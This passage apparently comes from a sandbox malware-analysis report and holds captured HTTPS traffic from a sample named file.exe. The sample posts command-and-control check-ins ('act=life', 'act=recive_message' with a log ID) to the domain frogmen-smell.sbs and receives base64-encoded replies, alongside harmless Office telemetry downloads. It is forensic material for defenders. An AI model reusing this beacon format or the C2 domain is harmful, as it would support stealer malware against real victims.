Nov 15, 2024 19:39:33.258605003 CET	1060	IN	Data Raw: fd 71 a7 6b 53 a0 66 51 55 20 9c 5e 57 b4 99 30 3b 78 46 42 73 67 84 27 1e f7 af 0b 0e 76 50 29 de 07 45 44 3b 6a 75 2d fb b8 8e 0b 5d 73 57 2c 25 74 8c 5b 1a 67 5d 2a fe 91 50 42 0d ee 42 50 01 eb 59 4a 10 59 6d 1e cb 31 50 59 fe aa c8 aa 6d ca Data Ascii: qkSfQU ^W0;xFBsg'vP)ED;ju-]sW,%t[g]PBBPYJYm1PYm.\e3C`=EtBm.@Dau2C:(}{DIBH*G`\10->~e!Z69!_)>JDEnf`)w\|5\rt+
Nov 15, 2024 19:39:33.263426065 CET	1236	IN	Data Raw: 39 8d 59 b9 12 fc 6a 28 f8 8f 7d 84 81 d5 02 25 e4 03 68 6a d2 49 ac 59 73 d0 0b b8 b2 9c 1c d4 e2 54 bd 6e 83 72 84 07 a7 51 9d 9f 56 04 67 72 f2 95 06 f6 42 66 70 5d fe 37 b4 87 b0 0f 81 2a e0 de 98 28 47 cf e4 1a c6 7c 03 5f 33 ab 82 eb 6b 4c Data Ascii: 9Yj(}%hjIYsTnrQVgrBfp]7*(G\|_3kLEHMvJ?MG@(>>kM7dsU~`!I^1M=!jzr3=)CR?l2\|J^c`;DBB'J]{.GZ0&HcC{&}As

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:14 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frogmen-smell.sbs
2024-11-15 18:39:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-15 18:39:15 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u55mce7jtvnnlifubimvg2430c; expires=Tue, 11-Mar-2025 12:25:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d9UmJWGOdyTF%2BlyeeLWk23P6x705lr08%2F1Msxf9bPAqBR7%2FX04QAKzsCT6OecDd9EdCyQCqHOhKoEBFSWCvFUo4Di0MiItGb8jZ7DwbVi1ovaueq1KoOPO6LXalotNP%2FlEsoYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315ce6cb8e3ab0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1286&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=908&delivery_rate=2271372&cwnd=251&unsent_bytes=0&cid=ffa9ddedc4a6fed5&ts=669&x=0"
2024-11-15 18:39:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-15 18:39:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49702	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:15 UTC	492	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 14 Nov 2024 16:27:56 GMT ETag: "0x8DD04C94BD1CD28" x-ms-request-id: 95228c9c-001e-008d-1ac3-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183915Z-16547b76f7fffb7lhC1DFWdsxg00000001v000000000dpfn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:15 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-15 18:39:15 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49708	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: frogmen-smell.sbs
2024-11-15 18:39:16 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-15 18:39:17 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1dcjd8qh4plvpjpqp3qpsi5j62; expires=Tue, 11-Mar-2025 12:25:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cDhQW6hTGYvv62eBHFDjNePaAUDbqhI2GAFIiDyk2oCeKHcXEjl1gAnC9nowVH4II6cFw%2BLpy3fS5oM%2Bz6VXV%2FwHPw1gX%2Fy%2FsMyyuCu9pGZTM64i2K0L5RBKTRH8AM5t9tsUNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315cf3affde767-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18991&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=152332&cwnd=32&unsent_bytes=0&cid=49ef12991c3e174d&ts=732&x=0"
2024-11-15 18:39:17 UTC	351	IN	Data Raw: 34 34 36 63 0d 0a 59 66 66 4b 73 65 66 31 58 78 6d 31 63 6c 32 4f 73 65 2f 48 45 41 50 47 50 4f 68 6e 6f 58 6e 42 53 30 55 32 5a 38 41 35 6d 35 67 61 31 62 79 54 33 63 46 7a 4f 38 59 58 66 37 54 46 6e 62 4a 31 4c 2b 52 64 6a 45 57 62 48 36 41 6e 4e 6c 4e 4c 34 6b 2f 32 75 6c 75 52 71 39 32 55 6b 48 4d 37 30 41 70 2f 74 4f 71 55 35 58 56 74 35 41 62 4b 41 73 73 62 6f 43 63 6e 56 77 79 76 53 66 66 37 43 5a 75 74 32 59 4b 57 4f 33 6a 5a 48 7a 6a 72 31 49 36 74 66 6d 71 72 56 49 56 46 6a 56 75 6b 4d 57 63 4d 52 59 31 63 37 2f 6b 73 6c 72 6e 61 78 59 68 7a 59 70 63 58 4d 36 79 4c 7a 61 5a 31 59 61 70 61 6a 41 7a 4a 45 61 6b 76 4a 6c 49 4e 73 46 44 39 38 41 6d 56 72 74 69 49 6e 79 39 31 30 78 67 7a 37 64 36 4f 35 54 77 68 6f 30 62 4b 58 59 4e 49 6b 53 6f 32 52 Data Ascii: 446cYffKsef1Xxm1cl2Ose/HEAPGPOhnoXnBS0U2Z8A5m5ga1byT3cFzO8YXf7TFnbJ1L+RdjEWbH6AnNlNL4k/2uluRq92UkHM70Ap/tOqU5XVt5AbKAssboCcnVwyvSff7CZut2YKWO3jZHzjr1I6tfmqrVIVFjVukMWcMRY1c7/kslrnaxYhzYpcXM6yLzaZ1YapajAzJEakvJlINsFD98AmVrtiIny910xgz7d6O5Twho0bKXYNIkSo2R
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 74 32 45 6d 6a 31 70 33 78 73 30 36 63 47 47 72 48 39 73 70 46 4f 41 43 73 41 62 70 43 4d 74 57 77 2b 6d 56 76 54 38 41 35 58 6f 6e 63 57 51 4a 54 75 50 55 42 7a 70 77 34 71 70 5a 43 4f 65 48 70 56 4c 32 6c 75 6b 4a 57 63 4d 52 61 70 65 2b 76 6b 49 6d 71 76 62 6a 6f 55 39 61 64 45 64 4f 76 37 56 69 4b 74 34 59 72 5a 55 68 41 50 41 45 71 67 67 49 6c 4d 42 34 68 57 35 2f 52 76 56 38 4a 4f 6b 6d 6a 5a 33 33 51 63 2f 72 4d 7a 44 76 44 4a 6d 71 42 37 53 52 63 63 61 70 79 67 6a 57 67 75 6d 56 2f 2f 30 44 70 71 75 32 59 57 51 4e 33 50 66 45 54 4c 6e 33 49 32 67 66 32 57 69 55 6f 73 41 67 31 58 6a 4c 6a 38 55 58 65 4a 31 2f 76 6b 52 31 35 33 51 69 35 6b 36 62 5a 63 50 63 66 57 54 69 71 6b 79 4f 65 52 51 6a 77 72 52 47 72 45 73 4b 55 59 4a 70 31 33 30 2b 51 32 56 Data Ascii: t2Emj1p3xs06cGGrH9spFOACsAbpCMtWw+mVvT8A5XoncWQJTuPUBzpw4qpZCOeHpVL2lukJWcMRape+vkImqvbjoU9adEdOv7ViKt4YrZUhAPAEqggIlMB4hW5/RvV8JOkmjZ33Qc/rMzDvDJmqB7SRccapygjWgumV//0Dpqu2YWQN3PfETLn3I2gf2WiUosAg1XjLj8UXeJ1/vkR153Qi5k6bZcPcfWTiqkyOeRQjwrRGrEsKUYJp130+Q2V
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 6b 36 62 5a 63 50 63 66 57 54 69 71 6b 79 4f 65 52 53 67 77 58 49 45 61 63 70 49 46 6b 41 6f 56 7a 36 39 77 53 66 70 74 53 42 6d 7a 52 32 30 52 41 34 36 4e 61 66 6f 48 74 74 71 42 37 45 52 63 51 44 34 33 46 6e 65 77 4b 30 57 4e 62 35 45 70 7a 6f 7a 4d 75 4f 66 58 7a 62 55 47 65 73 31 49 69 74 65 57 65 73 58 70 67 41 7a 52 43 69 49 79 46 56 43 4b 35 64 2b 66 73 44 6b 36 54 54 67 70 41 76 61 64 49 57 4c 65 61 54 77 2b 56 31 65 65 51 47 79 6a 50 54 44 4c 49 2f 5a 57 45 47 72 46 58 2b 37 45 4f 4b 35 73 72 46 6b 44 45 37 6a 31 41 30 37 4e 2b 4b 72 58 52 6c 72 46 47 46 44 4e 45 61 72 79 63 31 55 77 57 72 56 66 62 32 43 70 69 76 33 6f 36 64 4d 48 2f 51 45 58 2b 69 6b 34 71 39 4d 6a 6e 6b 61 4a 6f 49 7a 7a 57 6f 4a 53 34 55 47 75 78 43 75 66 30 50 31 66 43 54 67 Data Ascii: k6bZcPcfWTiqkyOeRSgwXIEacpIFkAoVz69wSfptSBmzR20RA46NafoHttqB7ERcQD43FnewK0WNb5EpzozMuOfXzbUGes1IiteWesXpgAzRCiIyFVCK5d+fsDk6TTgpAvadIWLeaTw+V1eeQGyjPTDLI/ZWEGrFX+7EOK5srFkDE7j1A07N+KrXRlrFGFDNEaryc1UwWrVfb2Cpiv3o6dMH/QEX+ik4q9MjnkaJoIzzWoJS4UGuxCuf0P1fCTg
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 57 46 44 72 70 31 34 71 68 64 47 37 6b 45 4d 6f 43 32 31 76 37 61 51 68 7a 4d 4f 42 36 77 37 6f 63 32 37 47 54 67 70 74 39 49 35 63 63 50 4f 44 62 67 71 4e 37 62 61 35 58 67 51 6e 49 48 36 38 67 49 6c 49 45 70 31 37 34 2f 67 2b 66 72 74 43 47 6d 44 4a 30 33 31 42 78 72 4e 53 56 35 53 6f 68 67 55 6d 42 43 38 56 62 76 47 63 2b 46 41 4b 75 47 36 47 36 44 35 79 75 31 59 43 62 50 48 33 66 46 54 66 6f 30 6f 75 6a 63 57 36 67 57 34 73 4b 78 78 65 74 49 79 5a 56 43 61 6c 55 38 76 39 44 32 2b 6a 55 6e 64 64 6c 4f 2b 59 54 4b 66 76 44 67 65 56 74 4c 37 30 65 6a 51 6d 44 51 2b 4d 6f 4e 56 34 50 72 46 37 32 2f 77 43 61 72 39 36 44 6d 7a 64 79 33 78 59 77 35 63 47 4f 71 58 78 6d 71 6c 4b 45 43 4d 6b 59 72 6d 6c 70 46 41 4b 36 47 36 47 36 4c 35 4b 6c 2f 59 36 62 4f 6a Data Ascii: WFDrp14qhdG7kEMoC21v7aQhzMOB6w7oc27GTgpt9I5ccPODbgqN7ba5XgQnIH68gIlIEp174/g+frtCGmDJ031BxrNSV5SohgUmBC8VbvGc+FAKuG6G6D5yu1YCbPH3fFTfo0oujcW6gW4sKxxetIyZVCalU8v9D2+jUnddlO+YTKfvDgeVtL70ejQmDQ+MoNV4PrF72/wCar96Dmzdy3xYw5cGOqXxmqlKECMkYrmlpFAK6G6G6L5Kl/Y6bOj
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 72 4a 33 4e 6f 6d 6f 68 2f 42 36 38 41 74 4d 4c 6f 47 73 57 51 67 61 30 55 50 54 32 51 34 72 6d 79 73 57 51 4d 54 75 50 55 44 6e 6a 32 6f 36 71 63 32 69 6f 55 34 38 4d 78 68 71 6c 4c 53 31 65 42 61 52 64 2b 50 38 4a 6c 71 6e 5a 6a 4a 41 31 66 4e 51 43 66 36 4b 54 69 72 30 79 4f 65 52 33 6a 52 66 4e 43 2b 4d 32 61 55 31 46 70 56 65 35 6f 6b 4f 52 6f 74 79 42 6b 44 46 39 30 68 59 79 37 64 79 4d 70 58 31 6c 72 31 65 4d 42 4d 34 65 72 69 30 31 58 67 36 74 56 2f 44 32 44 74 58 6d 6b 34 4b 50 66 53 4f 58 49 54 4c 69 33 59 71 7a 4d 6e 37 71 52 38 6f 43 7a 31 76 37 61 53 5a 59 43 71 46 55 2b 76 6b 43 6e 37 72 42 69 5a 34 31 66 74 73 62 4d 65 72 42 69 36 70 37 59 71 64 58 6a 51 33 50 45 61 41 75 5a 78 70 46 70 55 4f 35 6f 6b 4f 32 76 38 4f 49 31 79 49 31 7a 6c 41 Data Ascii: 